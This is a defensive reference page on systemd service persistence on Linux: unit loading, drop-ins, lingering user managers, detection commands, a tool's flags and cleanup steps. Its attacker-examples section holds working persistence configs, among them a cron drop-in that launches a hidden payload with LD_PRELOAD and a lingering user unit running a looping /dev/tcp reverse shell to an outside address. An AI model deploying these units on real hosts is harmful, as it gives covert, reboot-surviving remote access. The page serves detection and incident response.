Skip to content

At boot

Systemd Service Persistence: Units, Drop-ins, Linger

How attackers persist with systemd services, sockets, path units, drop-in overrides and lingering user units on Linux, and how to find and remove them.

MITRE ATT&CK
T1543.002
Tactics
Persistence, Privilege escalation
Runs
At boot
Set up by
Users and root
Locations
  • /etc/systemd/system/*
  • /etc/systemd/system/<unit>.d/*.conf
  • /usr/lib/systemd/system/*
  • /usr/local/lib/systemd/system/*
  • /etc/systemd/user/*
  • ~/.config/systemd/user/*
  • /var/lib/systemd/linger/<user>

How it works

systemd loads unit files at boot and at every systemctl daemon-reload. A .service unit describes a process: ExecStart= plus optional ExecStartPre=, ExecStartPost=, ExecStop= and friends, the account it runs as (User=, root by default), its environment (Environment=, EnvironmentFile=) and a restart policy (Restart=always brings a killed process back). A .socket unit makes systemd listen and start the matching service on the first connection; a .path unit starts a unit when a file or folder changes. Scheduling is covered in systemd timers.

A unit starts at boot only when something pulls it in. systemctl enable reads the [Install] section and creates links: WantedBy=multi-user.target becomes /etc/systemd/system/multi-user.target.wants/foo.service, RequiredBy= a .requires/ link. Units can also be pulled in by another unit's Wants= or by a package's links under /usr/lib/systemd/system/*.wants/. A link to /dev/null masks a unit.

The first file found wins, in this order: /etc/systemd/system, then /run/systemd/system, then /usr/local/lib/systemd/system, then the vendor folder /usr/lib/systemd/system (/lib/systemd/system on Debian and Ubuntu before the /usr merge). Units written by generators slot in between. Drop-ins (foo.service.d/*.conf in any of these folders) are merged on top in file-name order, so a file in /etc changes a packaged unit without touching it; systemctl edit writes exactly that.

System services start with a clean environment, no shell profile, / as working directory, and output to the journal.

Each logged-in user also gets a user manager (user@UID.service) that reads ~/.config/systemd/user, /etc/systemd/user and /usr/lib/systemd/user, enabled through default.target.wants/ links. It starts at the user's first login and stops after the last logout, unless lingering is on: loginctl enable-linger creates an empty file /var/lib/systemd/linger/<user> and the manager then starts at boot. On many distributions polkit lets a user enable lingering for their own account without root.

Where it lives

PathWhatWho can write it
/etc/systemd/system/Admin units, enablement links, drop-ins, masksroot
/run/systemd/system/Runtime units, lost at rebootroot
/usr/local/lib/systemd/system/Locally installed unitsroot
/usr/lib/systemd/system/, /lib/systemd/system/Package unitsroot (package manager)
<unit>.d/*.conf in any of the aboveDrop-in overridesroot
/etc/systemd/user/, /usr/lib/systemd/user/User units for every accountroot
~/.config/systemd/user/One user's units and .wants linksthe user
~/.local/share/systemd/user/Same, lower prioritythe user
/var/lib/systemd/linger/<user>Lingering flag (empty file)root, through logind

How attackers use it

A new service that looks like it belongs

Names copied from real components, a binary in a hidden folder under /usr/lib, and Restart=always so killing the process is not enough. Enabled with systemctl enable --now.

# /etc/systemd/system/dbus-broker-helper.service
[Unit]
Description=D-Bus Broker Helper
After=network-online.target

[Service]
ExecStart=/usr/lib/.dbus/helper
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target

A drop-in on a legitimate service

The unit file and its package checksum stay intact; only systemctl cat or the Drop-In: line of systemctl status shows the change. The Environment= line injects a library, as in LD_PRELOAD persistence.

# /etc/systemd/system/cron.service.d/override.conf
[Service]
ExecStartPost=/bin/sh -c 'nohup /var/tmp/.s/k >/dev/null 2>&1 &'
Environment=LD_PRELOAD=/usr/local/lib/libnetsvc.so

A user service with lingering

No root needed: any account with a shell can do this.

mkdir -p ~/.config/systemd/user
cat > ~/.config/systemd/user/pipewire-sync.service <<'EOF'
[Service]
ExecStart=/bin/bash -c 'while :; do bash -i >& /dev/tcp/198.51.100.23/443 0>&1; sleep 300; done'

[Install]
WantedBy=default.target
EOF
systemctl --user enable --now pipewire-sync.service
loginctl enable-linger "$USER"

Socket and path units

A socket unit gives a listener owned by systemd itself, with no process until someone connects. A path unit fires on a file event; this one runs its service at every login, when wtmp is written:

# /etc/systemd/system/motd-cache.path
[Path]
PathModified=/var/log/wtmp
Unit=motd-cache.service

[Install]
WantedBy=paths.target

How to check a host

On a live host

systemctl list-unit-files --type=service,socket,path --state=enabled
systemctl list-units --type=service,socket,path --all
systemd-delta --type=extended,overridden,redirected     # drop-ins and overrides
systemctl cat cron.service                               # unit plus every drop-in, with paths
systemctl show -p FragmentPath,DropInPaths,ExecStart,User cron.service
ls -la /var/lib/systemd/linger/
sudo systemctl --user -M alice@ list-unit-files --state=enabled   # systemd 248+
sudo find /etc/systemd /usr/lib/systemd /usr/local/lib/systemd /root/.config/systemd /home/*/.config/systemd -newerct '2026-11-01' -ls

-newerct uses the inode change time, which touch cannot set back. For every unit you do not recognise, check who owns both the unit and the program it starts: dpkg -S <path> then dpkg -V <package> (rpm -qf and rpm -Vf on RHEL). An unowned binary in /usr/local, /opt or a hidden folder deserves a look. journalctl -u <unit> shows when it first started.

Offline or from a collection

Walk /etc/systemd/system with ls -laR, keeping links as links: a unit is enabled when a *.wants/ or *.requires/ link points at it, and the link's mtime is roughly when it was enabled. Read every drop-in folder, user units in each home, and the linger folder. Check ownership against /var/lib/dpkg/info/*.list and *.md5sums (rpm --root /mnt/image -Va on RPM systems), and read the journal with journalctl -D /mnt/image/var/log/journal -u <unit>.

Linux Persistence does this offline from the collection command.

What Linux Persistence flags

The tool reads .service, .socket and .path units and their drop-ins under /etc, /run, /usr/lib, /lib and /usr/local/lib (systemd/system and systemd/user), user units in ~/.config/systemd/user and ~/.local/share/systemd/user, and linger flags. Each unit is one entry with its command, user, type, restart policy, WantedBy, listen addresses or watched paths. It is shown as enabled, disabled or masked from the .wants/.requires links and /dev/null masks in the collection, with the link's time as the enable time, and as "enablement unknown" when the collection holds no .wants link at all (for example when the archiver followed links).

Mechanism-specific flags:

  • Starts a program from a home folder: a system unit (not a user unit) whose command starts with /home/ or /root/.
  • Drop-in changes what a unit runs: a drop-in that sets an Exec* line. Drop-ins that only set Environment=, EnvironmentFile= or User= are listed as entries and flagged only by the heuristics.
  • User services start at boot (linger): a file in /var/lib/systemd/linger/; medium when that user also has units in the collection.

The shared command heuristics run on every Exec* line and on the Environment= and EnvironmentFile= values: Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Interpreter with inline code, Sets LD_PRELOAD, Detaches from the session, Runs from a temporary folder, Runs from a hidden folder, Embedded encoded blob and the rest.

The package layer uses dpkg: Not installed by any package is medium in /usr/lib or /lib and low in /etc/systemd/system; Differs from package package is high in the vendor folders and low in /etc. User units get no package verdict. Changed date and program also runs from mechanisms apply as for every mechanism.

Limits: the tool reads files, not the running manager. Transient units (systemd-run), units generated into /run/systemd/generator*, enablement through another unit's Wants=, and the program a unit starts are not examined. Top-level drop-in folders such as service.d/ and /etc/xdg/systemd/user are not read. The collection command gathers ~/.config/systemd for /root and /home/* but not /usr/local/lib/systemd or ~/.local/share/systemd; add them when they matter.

Cleaning up

  1. Preserve first: cp -a the unit, its drop-ins, its links and the program it starts; save systemctl show <unit> and journalctl -u <unit> -o export; hash everything.
  2. systemctl disable --now <unit> removes the enablement links and stops it. Delete the unit file or drop-in, run systemctl daemon-reload, and restart a service you removed a drop-in from.
  3. For user units: systemctl --user -M alice@ disable --now <unit>, delete the files, then loginctl disable-linger alice.
  4. Look for the same program in cron, timers, init scripts and generators: a generator can recreate a deleted unit at the next boot.
  5. A root service means a root compromise: rotate host credentials and keys, and consider rebuilding.

References

See also

On Linux Forensics

The artifacts behind this technique, in the Linux Forensics reference: